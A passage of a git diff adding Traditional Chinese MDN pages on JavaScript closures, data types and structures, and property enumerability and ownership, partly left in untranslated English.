+<p>之所以如此，是因為指派到 <code>onfocus</code> 的函式為閉包，他們組成函式的定義、並從 <code>setupHelp</code> 的作用域捕抓函式的環境。三個閉包都被建立起來，但他們共享同一個能改變數值變數（<code>item.help</code>）的作用域環境。<code>item.help</code> 值早在執行 <code>onfocus</code> 回呼時，就已經被決定了。也由於 course 裡面的迴圈在那時已經執行了，給三個閉包共享的變數物件 <code>item</code> 早已離開 <code>helpText</code> 清單的 pointing to the last entry。</p>
+
+<p>其中一個解法是使用更多閉包，尤其要使用前述的函式工廠：</p>
+
+<pre class="brush: js notranslate">function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function makeHelpCallback(help) {
+  return function() {
+    showHelp(help);
+  };
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = makeHelpCallback(item.help);
+  }
+}
+
+setupHelp();
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/9573/", "", 200)}}</p>
+
+<p>這次就如同預期般的運作了。與所有回調共享作用域環境相比，<code>makeHelpCallback</code> 給每個回調建立新的作用域環境，該環境的 <code>help</code> 參照到 <code>helpText</code> 陣列的對應字串。</p>
+
+<p>用匿名閉包來實做的另一種方法是：</p>
+
+<pre class="brush: js notranslate">function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    (function() {
+       var item = helpText[i];
+       document.getElementById(item.id).onfocus = function() {
+         showHelp(item.help);
+       }
+    })(); // Immediate event listener attachment with the current value of item (preserved until iteration).
+  }
+}
+
+setupHelp();</pre>
+
+<p>如果你不想用更多閉包的話，你可以使用 ES2015 的 <code><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Statements/let">let</a></code> 關鍵字：</p>
+
+<pre class="brush: js notranslate">function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    let item = helpText[i];
+    document.getElementById(item.id).onfocus = function() {
+      showHelp(item.help);
+    }
+  }
+}
+
+setupHelp();
+</pre>
+
+<p>在這裡，我們用了 <code>let</code> 而不是 <code>var</code>，所以每個閉包都會與每個 block-scoped變數綁定，因而能在不用更多閉包的情況下完美運行。</p>
+
+<h2 id="性能考量">性能考量</h2>
+
+<p>如果指定的任務無須使用閉包的話，在其他函式內建立不必要的函式並不明智，因為從速度和記憶體角度而言，它都會影響腳本性能。</p>
+
+<p>例如說，當我們建立了新的 object/class 時候，方法通常要和物件的原型（prototype）相關聯，而不是定義到物件的建構子（constructor）──這是因為每當建構子被呼叫的時候，方法都會重新分配（也就是說，它每次都在建立物件）。</p>
+
+<p>思考一下這個例子：</p>
+
+<pre class="brush: js notranslate">function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+  this.getName = function() {
+    return this.name;
+  };
+
+  this.getMessage = function() {
+    return this.message;
+  };
+}
+</pre>
+
+<p>上面的程式碼並未利用閉包的益處，所以，可以改成這個樣子：</p>
+
+<pre class="brush: js notranslate">function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+}
+MyObject.prototype = {
+  getName: function() {
+    return this.name;
+  },
+  getMessage: function() {
+    return this.message;
+  }
+};
+</pre>
+
+<p>但我們不建議重新定義原型，因此這個附加到現有原型的例子更佳：</p>
+
+<pre class="brush: js notranslate">function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+}
+MyObject.prototype.getName = function() {
+  return this.name;
+};
+MyObject.prototype.getMessage = function() {
+  return this.message;
+};
+</pre>
+
+<p>以上的程式碼，可以寫得如同下例般簡潔：</p>
+
+<pre class="brush: js notranslate">function MyObject(name, message) {
+    this.name = name.toString();
+    this.message = message.toString();
+}
+(function() {
+    this.getName = function() {
+        return this.name;
+    };
+    this.getMessage = function() {
+        return this.message;
+    };
+}).call(MyObject.prototype);
+</pre>
+
+<p>在前例中，所有物件可共享繼承的原型，物件創立時也無須每次都定義方法。詳細資料請參見<a href="/zh-TW/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">深入了解物件模型</a>。</p>
diff --git a/files/zh-tw/web/javascript/data_structures/index.html b/files/zh-tw/web/javascript/data_structures/index.html
new file mode 100644
index 0000000000..9a69b13f32
--- /dev/null
+++ b/files/zh-tw/web/javascript/data_structures/index.html
@@ -0,0 +1,294 @@
+---
+title: JavaScript 的資料型別與資料結構
+slug: Web/JavaScript/Data_structures
+translation_of: Web/JavaScript/Data_structures
+---
+<div>{{jsSidebar("More")}}</div>
+
+<p>程式語言都具有資料結構，但在不同的程式語言之間會有些差異。這裡將列出可以在 JavaScript 中使用的資料結構，以及它們的特性；它們可以用來構成其他的資料結構。如果可以的話，會標示與其他語言不同的地方。</p>
+
+<h2 id="動態型別">動態型別</h2>
+
+<p>JavaScript 是弱型別，也能說是動態的程式語言。這代表你不必特別宣告變數的型別。程式在運作時，型別會自動轉換。這也代表你可以以不同的型別使用同一個變數。</p>
+
+<pre class="brush: js notranslate">var foo = 42;    // foo 目前是數字
+var foo = 'bar'; // foo 目前是字串
+var foo = true;  // foo 目前是布林值
+</pre>
+
+<h2 id="資料型別">資料型別</h2>
+
+<p>最新的 ECMAScript 標準定義了七種資料型別：</p>
+
+<ul>
+ <li>有六種資料型別是{{Glossary("Primitive", "原始型別")}}：
+  <ul>
+   <li>{{Glossary("Boolean")}}</li>
+   <li>{{Glossary("Null")}}</li>
+   <li>{{Glossary("Undefined")}}</li>
+   <li>{{Glossary("Number")}}</li>
+   <li>{{Glossary("BigInt")}}</li>
+   <li>{{Glossary("String")}}</li>
+   <li>{{Glossary("Symbol")}}（於 ECMAScript 6 新定義）</li>
+  </ul>
+ </li>
+ <li>另外還有 {{Glossary("Object")}}</li>
+</ul>
+
+<h2 id="原始值">原始值</h2>
+
+<p>除了物件以外的所有值，都是原始定義的值（值意味著不能被改變）。例如與 C 不同的地方，就是字串是不變的。我們引用這些類型的值為 primitive values（原始值）。</p>
+
+<h3 id="布林型別">布林型別</h3>
+
+<p>布林（Boolean）代表了有兩個值的邏輯實體：<code>true</code> 與 <code>false</code>。</p>
+
+<h3 id="Null_型別">Null 型別</h3>
+
+<p>Null 型別只有一個值：<code>null</code>。請參見 {{jsxref("null")}} 與 {{Glossary("Null")}}。</p>
+
+<h3 id="未定義型別">未定義型別</h3>
+
+<p>一個沒有被定義的變數有 <code>undefined</code> 值。請參見 {{jsxref("undefined")}} 與 {{Glossary("Undefined")}}。</p>
+
+<h3 id="數字型別">數字型別</h3>
+
+<p>根據 ECMAScript 標準，數字型別只有一種：<a href="https://zh.wikipedia.org/wiki/%E9%9B%99%E7%B2%BE%E5%BA%A6%E6%B5%AE%E9%BB%9E%E6%95%B8">雙精度 64 位元二進制格式 IEEE 754 值</a>（在 -(2<sup>53</sup> -1) and 2<sup>53</sup> -1 之間的數字）。<strong>而整數並沒有指定的型別</strong>。數字除了能代表浮點數以外，還有三個符號值：<code>+Infinity</code>、<code>-Infinity</code>、<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a>（not-a-number，非數字）。</p>
+
+<p>要檢查在 <code>+/-Infinity</code> 內可用的最大值或最小值，可以用 {{jsxref("Number.MAX_VALUE")}} 或 {{jsxref("Number.MIN_VALUE")}} 常數。從 ECMAScript 6 開始，也可以透過 {{jsxref("Number.isSafeInteger()")}}、{{jsxref("Number.MAX_SAFE_INTEGER")}}、{{jsxref("Number.MIN_SAFE_INTEGER")}} 檢查某數字是否為雙精度浮點值之間。Beyond this range, integers in JavaScript are not safe anymore and will be a double-precision floating point approximation of the value.</p>
+
+<p>The number type has only one integer that has two representations: 0 is represented as -0 and +0. ("0" is an alias for +0). In the praxis, this has almost no impact. For example <code>+0 === -0</code> is <code>true</code>. However, you are able to notice this when you divide by zero:</p>
+
+<pre class="brush: js notranslate">&gt; 42 / +0
+Infinity
+&gt; 42 / -0
+-Infinity
+</pre>
+
+<p>Although a number often represents only its value, JavaScript provides <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="en/JavaScript/Reference/Operators/Bitwise_Operators">some binary operators</a>. These can be used to represent several Boolean values within a single number using <a class="external" href="http://en.wikipedia.org/wiki/Mask_%28computing%29">bit masking</a>. However, this is usually considered a bad practice, since JavaScript offers other means to represent a set of Booleans (like an array of Booleans or an object with Boolean values assigned to named properties). Bit masking also tends to make code more difficult to read, understand, and maintain. It may be necessary to use such techniques in very constrained environments, like when trying to cope with the storage limitation of local storage or in extreme cases when each bit over the network counts. This technique should only be considered when it is the last measure that can be taken to optimize size.</p>
+
+<h3 id="字串型別">字串型別</h3>
+
+<p>JavaScript 的 {{jsxref("Global_Objects/String", "字串")}}型別用來代表文字資料。它是一組 16 位的未宣告「元素」值。每個字串的元素，在字串內皆佔有一位。第一個元素位於索引的第 0 位，下一個元素位於第 1 位，並依此類推。字串的長度，是指該字串有多少元素。</p>
+
+<p>與 C 這類的語言不同，JavaScript 字串是不變的，意思是說當字串被創造出來以後，你不可能修改它。不過，可以基於操作原來的字串，來產生新的字串。例如：</p>
+
+<ul>
+ <li>透過挑選單個字母或使用 {{jsxref("String.substr()")}} 的原始子字串。</li>
+ <li>使用級聯運算符（<code>+</code>）或 {{jsxref("String.concat()")}} 連接兩個字符串。</li>
+</ul>
+
+<h4 id="Beware_of_stringly-typing_your_code!">Beware of "stringly-typing" your code!</h4>
+
+<p>It can be tempting to use strings to represent complex data. Doing this comes with short-term benefits:</p>
+
+<ul>
+ <li>It is easy to build complex strings with concatenation.</li>
+ <li>Strings are easy to debug (what you see printed is always what is in the string).</li>
+ <li>Strings are the common denominator of a lot of APIs (<a href="/en-US/docs/Web/API/HTMLInputElement" title="HTMLInputElement">input fields</a>, <a href="/en-US/docs/Storage" title="Storage">local storage</a> values, {{ domxref("XMLHttpRequest") }} responses when using <code>responseText</code>, etc.) and it can be tempting to only work with strings.</li>
+</ul>
+
+<p>With conventions, it is possible to represent any data structure in a string. This does not make it a good idea. For instance, with a separator, one could emulate a list (while a JavaScript array would be more suitable). Unfortunately, when the separator is used in one of the "list" elements, then, the list is broken. An escape character can be chosen, etc. All of this requires conventions and creates an unnecessary maintenance burden.</p>
+
+<p>Use strings for textual data. When representing complex data, parse strings and use the appropriate abstraction.</p>
+
+<h3 id="Symbol_type">Symbol type</h3>
+
+<p>Symbols are new to JavaScript in ECMAScript Edition 6. A Symbol is a <strong>unique</strong> and <strong>immutable</strong> primitive value and may be used as the key of an Object property (see below). In some programming languages, Symbols are called atoms. You can also compare them to named enumerations (enum) in C. For more details see {{Glossary("Symbol")}} and the {{jsxref("Symbol")}} object wrapper in JavaScript.</p>
+
+<h2 id="Objects">Objects</h2>
+
+<p>以資訊科學而言，物件是個能透過{{Glossary("Identifier", "identifier")}}參照的有數值記憶體。</p>
+
+<h3 id="Properties">Properties</h3>
+
+<p>In JavaScript, objects can be seen as a collection of properties. With the <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">object literal syntax</a>, a limited set of properties are initialized; then properties can be added and removed. Property values can be values of any type, including other objects, which enables building complex data structures. Properties are identified using key values. A key value is either a String or a Symbol value.</p>
+
+<p>There are two types of object properties which have certain attributes: The data property and the accessor property.</p>
+
+<h4 id="Data_property">Data property</h4>
+
+<p>Associates a key with a value and has the following attributes:</p>
+
+<table class="standard-table">
+ <caption>Attributes of a data property</caption>
+ <tbody>
+  <tr>
+   <th>Attribute</th>
+   <th>Type</th>
+   <th>Description</th>
+   <th>Default value</th>
+  </tr>
+  <tr>
+   <td>[[Value]]</td>
+   <td>Any JavaScript type</td>
+   <td>The value retrieved by a get access of the property.</td>
+   <td>undefined</td>
+  </tr>
+  <tr>
+   <td>[[Writable]]</td>
+   <td>Boolean</td>
+   <td>If <code>false</code>, the property's [[Value]] can't be changed.</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <td>[[Enumerable]]</td>
+   <td>Boolean</td>
+   <td>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops. See also <a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <td>[[Configurable]]</td>
+   <td>Boolean</td>
+   <td>If <code>false</code>, the property can't be deleted and attributes other than [[Value]] and [[Writable]] can't be changed.</td>
+   <td>false</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Obsolete attributes (as of ECMAScript 3, renamed in ECMAScript 5)</caption>
+ <tbody>
+  <tr>
+   <th>Attribute</th>
+   <th>Type</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>Read-only</td>
+   <td>Boolean</td>
+   <td>Reversed state of the ES5 [[Writable]] attribute.</td>
+  </tr>
+  <tr>
+   <td>DontEnum</td>
+   <td>Boolean</td>
+   <td>Reversed state of the ES5 [[Enumerable]] attribute.</td>
+  </tr>
+  <tr>
+   <td>DontDelete</td>
+   <td>Boolean</td>
+   <td>Reversed state of the ES5 [[Configurable]] attribute.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Accessor_property">Accessor property</h4>
+
+<p>Associates a key with one or two accessor functions (get and set) to retrieve or store a value and has the following attributes:</p>
+
+<table class="standard-table">
+ <caption>Attributes of an accessor property</caption>
+ <tbody>
+  <tr>
+   <th>Attribute</th>
+   <th>Type</th>
+   <th>Description</th>
+   <th>Default value</th>
+  </tr>
+  <tr>
+   <td>[[Get]]</td>
+   <td>Function object or undefined</td>
+   <td>The function is called with an empty argument list and retrieves the property value whenever a get access to the value is performed. See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/get"><code>get</code></a>.</td>
+   <td>undefined</td>
+  </tr>
+  <tr>
+   <td>[[Set]]</td>
+   <td>Function object or undefined</td>
+   <td>The function is called with an argument that contains the assigned value and is executed whenever a specified property is attempted to be changed. See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/set"><code>set</code></a>.</td>
+   <td>undefined</td>
+  </tr>
+  <tr>
+   <td>[[Enumerable]]</td>
+   <td>Boolean</td>
+   <td>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops.</td>
+   <td>false</td>
+  </tr>
+  <tr>
+   <td>[[Configurable]]</td>
+   <td>Boolean</td>
+   <td>If <code>false</code>, the property can't be deleted and can't be changed to a data property.</td>
+   <td>false</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note: </strong>Attribute is usually used by JavaScript engine, so you can't directly access it(see more about <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty()</a>).That's why the attribute is put in double square brackets instead of single.</p>
+</div>
+
+<h3 id="Normal_objects_and_functions">"Normal" objects, and functions</h3>
+
+<p>A JavaScript object is a mapping between keys and values. Keys are strings (or {{jsxref("Symbol")}}s) and values can be anything. This makes objects a natural fit for <a class="external" href="http://en.wikipedia.org/wiki/Hash_table">hashmaps</a>.</p>
+
+<p>Functions are regular objects with the additional capability of being callable.</p>
+
+<h3 id="Dates">Dates</h3>
+
+<p>When representing dates, the best choice is to use the built-in <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date"><code>Date</code> utility</a> in JavaScript.</p>
+
+<h3 id="Indexed_collections_Arrays_and_typed_Arrays">Indexed collections: Arrays and typed Arrays</h3>
+
+<p><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="Array">Arrays</a> are regular objects for which there is a particular relationship between integer-key-ed properties and the 'length' property. Additionally, arrays inherit from <code>Array.prototype</code> which provides to them a handful of convenient methods to manipulate arrays. For example, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf" title="en/JavaScript/Reference/Global_Objects/Array/indexOf">indexOf</a></code> (searching a value in the array) or <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/push" title="en/JavaScript/Reference/Global_Objects/Array/push">push</a></code> (adding an element to the array), etc. This makes Arrays a perfect candidate to represent lists or sets.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed Arrays</a> are new to JavaScript with ECMAScript Edition 6 and present an array-like view of an underlying binary data buffer. The following table helps you to find the equivalent C data types:</p>
+
+<p>{{page("/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects", "", 0, 3)}}</p>
+
+<h3 id="Keyed_collections_Maps_Sets_WeakMaps_WeakSets">Keyed collections: Maps, Sets, WeakMaps, WeakSets</h3>
+
+<p>These data structures take object references as keys and are introduced in ECMAScript Edition 6. {{jsxref("Set")}} and {{jsxref("WeakSet")}} represent a set of objects, while {{jsxref("Map")}} and {{jsxref("WeakMap")}} associate a value to an object. The difference between Maps and WeakMaps is that in the former, object keys can be enumerated over. This allows garbage collection optimizations in the latter case.</p>
+
+<p>One could implement Maps and Sets in pure ECMAScript 5. However, since objects cannot be compared (in the sense of "less than" for instance), look-up performance would necessarily be linear. Native implementations of them (including WeakMaps) can have look-up performance that is approximately logarithmic to constant time.</p>
+
+<p>Usually, to bind data to a DOM node, one could set properties directly on the object or use <code>data-*</code> attributes. This has the downside that the data is available to any script running in the same context. Maps and WeakMaps make it easy to privately bind data to an object.</p>
+
+<h3 id="Structured_data_JSON">Structured data: JSON</h3>
+
+<p>JSON (JavaScript Object Notation) is a lightweight data-interchange format, derived from JavaScript but used by many programming languages. JSON builds universal data structures. See {{Glossary("JSON")}} and {{jsxref("JSON")}} for more details.</p>
+
+<h3 id="More_objects_in_the_standard_library">More objects in the standard library</h3>
+
+<p>JavaScript has a standard library of built-in objects. Please have a look at the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">reference</a> to find out about more objects.</p>
+
+<h2 id="使用_typeof_運算子來判斷型別"><code><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #ffffff;">使用 </span></font>typeof</code> 運算子來判斷型別</h2>
+
+<p><code>typeof</code> 運算子可以幫助你找到你的變數型別，請閱讀〈<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof">reference page</a> 〉來取得更多細節及邊緣案例。</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-8', 'Types')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="link-https" href="https://github.com/nzakas/computer-science-in-javascript/">Nicholas Zakas collection of common data structure and common algorithms in JavaScript.</a></li>
+ <li><a href="https://github.com/monmohan/DataStructures_In_Javascript" title="https://github.com/monmohan/DataStructures_In_Javascript">Search Tre(i)es implemented in JavaScript</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/enumerability_and_ownership_of_properties/index.html b/files/zh-tw/web/javascript/enumerability_and_ownership_of_properties/index.html
new file mode 100644
index 0000000000..7a0cedb6b5
--- /dev/null
+++ b/files/zh-tw/web/javascript/enumerability_and_ownership_of_properties/index.html
@@ -0,0 +1,259 @@
+---
+title: 屬性的可列舉性及所有權
+slug: Web/JavaScript/Enumerability_and_ownership_of_properties
+translation_of: Web/JavaScript/Enumerability_and_ownership_of_properties
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>Enumerable properties are those properties whose internal [[Enumerable]] flag is set to true, which is the default for properties created via simple assignment or via a property initializer (properties defined via <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a> and such default [[Enumerable]] to false). Enumerable properties show up in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops unless the property's name is a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Symbol</a>. Ownership of properties is determined by whether the property belongs to the object directly and not to its prototype chain. Properties of an object can also be retrieved in total. There are a number of built-in means of detecting, iterating/enumerating, and retrieving object properties, with the chart showing which are available. Some sample code follows which demonstrates how to obtain the missing categories.</p>
+
+<table>
+ <caption>Property enumerability and ownership - built-in methods of detection, retrieval, and iteration</caption>
+ <tbody>
+  <tr>
+   <th>Functionality</th>
+   <th>Own object</th>
+   <th>Own object and its prototype chain</th>
+   <th>Prototype chain only</th>
+  </tr>
+  <tr>
+   <td>Detection</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">Nonenumerable</th>
+       <th scope="col">Enumerable and Nonenumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></td>
+       <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a></code> and not <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></td>
+       <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">hasOwnProperty</a></code></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Not available without extra code</td>
+   <td>Not available without extra code</td>
+  </tr>
+  <tr>
+   <td>Retrieval</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">Nonenumerable</th>
+       <th scope="col">Enumerable and Nonenumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/keys" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/keys">Object.keys</a></code></td>
+       <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code> filtered to include properties when not passing <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></td>
+       <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Not available without extra code</td>
+   <td>Not available without extra code</td>
+  </tr>
+  <tr>
+   <td>Iteration</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">Nonenumerable</th>
+       <th scope="col">Enumerable and Nonenumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>Iterate over <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/keys" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/keys">Object.keys</a></code></td>
+       <td>Iterate over <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a> </code>filtered to include properties when not passing <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable">propertyIsEnumerable</a></code></td>
+       <td>Iterate over <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames">getOwnPropertyNames</a></code></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Enumerable</th>
+       <th scope="col">Nonenumerable</th>
+       <th scope="col">Enumerable and Nonenumerable</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td><code><a href="/en-US/docs/JavaScript/Reference/Statements/for...in" title="/en-US/docs/JavaScript/Reference/Statements/for...in">for..in</a></code></td>
+       <td>Not available without extra code</td>
+       <td>Not available without extra code</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Not available without extra code</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Obtaining_properties_by_enumerabilityownership">Obtaining properties by enumerability/ownership</h2>
+
+<p>Note that this is not the most efficient algorithm for all cases, but useful for a quick demonstration.</p>
+
+<ul>
+ <li>Detection can occur by <code>SimplePropertyRetriever.theGetMethodYouWant(obj).indexOf(prop) &gt; -1</code></li>
+ <li>Iteration can occur by <code>SimplePropertyRetriever.theGetMethodYouWant(obj).forEach(function (value, prop) {});</code> (or use<code> filter()</code>, <code>map()</code>, etc.)</li>
+</ul>
+
+<pre class="brush: js">var SimplePropertyRetriever = {
+    getOwnEnumerables: function (obj) {
+        return this._getPropertyNames(obj, true, false, this._enumerable);
+         // Or could use for..in filtered with hasOwnProperty or just this: return Object.keys(obj);
+    },
+    getOwnNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, false, this._notEnumerable);
+    },
+    getOwnEnumerablesAndNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, false, this._enumerableAndNotEnumerable);
+        // Or just use: return Object.getOwnPropertyNames(obj);
+    },
+    getPrototypeEnumerables: function (obj) {
+        return this._getPropertyNames(obj, false, true, this._enumerable);
+    },
+    getPrototypeNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, false, true, this._notEnumerable);
+    },
+    getPrototypeEnumerablesAndNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, false, true, this._enumerableAndNotEnumerable);
+    },
+    getOwnAndPrototypeEnumerables: function (obj) {
+        return this._getPropertyNames(obj, true, true, this._enumerable);
+        // Or could use unfiltered for..in
+    },
+    getOwnAndPrototypeNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, true, this._notEnumerable);
+    },
+    getOwnAndPrototypeEnumerablesAndNonenumerables: function (obj) {
+        return this._getPropertyNames(obj, true, true, this._enumerableAndNotEnumerable);
+    },
+    // Private static property checker callbacks
+    _enumerable : function (obj, prop) {
+        return obj.propertyIsEnumerable(prop);
+    },
+    _notEnumerable : function (obj, prop) {
+        return !obj.propertyIsEnumerable(prop);
+    },
+    _enumerableAndNotEnumerable : function (obj, prop) {
+        return true;
+    },
+    // Inspired by http://stackoverflow.com/a/8024294/271577
+    _getPropertyNames : function getAllPropertyNames(obj, iterateSelfBool, iteratePrototypeBool, includePropCb) {
+        var props = [];
+
+        do {
+            if (iterateSelfBool) {
+                Object.getOwnPropertyNames(obj).forEach(function (prop) {
+                    if (props.indexOf(prop) === -1 &amp;&amp; includePropCb(obj, prop)) {
+                        props.push(prop);
+                    }
+                });
+            }
+            if (!iteratePrototypeBool) {
+                break;
+            }
+            iterateSelfBool = true;
+        } while (obj = Object.getPrototypeOf(obj));
+
+        return props;
+    }
+};</pre>
+
+<h2 id="Detection_Table">Detection Table</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="row"> </th>
+   <th scope="col"><code>in</code></th>
+   <th scope="col"><code>for..in</code></th>
+   <th scope="col"><code>hasOwnProperty</code></th>
+   <th scope="col"><code>propertyIsEnumerable</code></th>
+   <th scope="col"><code>in Object.keys</code></th>
+   <th scope="col"><code>in Object.getOwnPropertyNames</code></th>
+   <th scope="col">in Object.getOwnPropertyDescriptors</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Enumerable</th>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">Nonenumerable</th>
+   <td>true</td>
+   <td>false</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>true</td>
+   <td>true</td>
+  </tr>
+  <tr>
+   <th scope="row">Inherited Enumerable</th>
+   <td>true</td>
+   <td>true</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
+   <td>false</td>
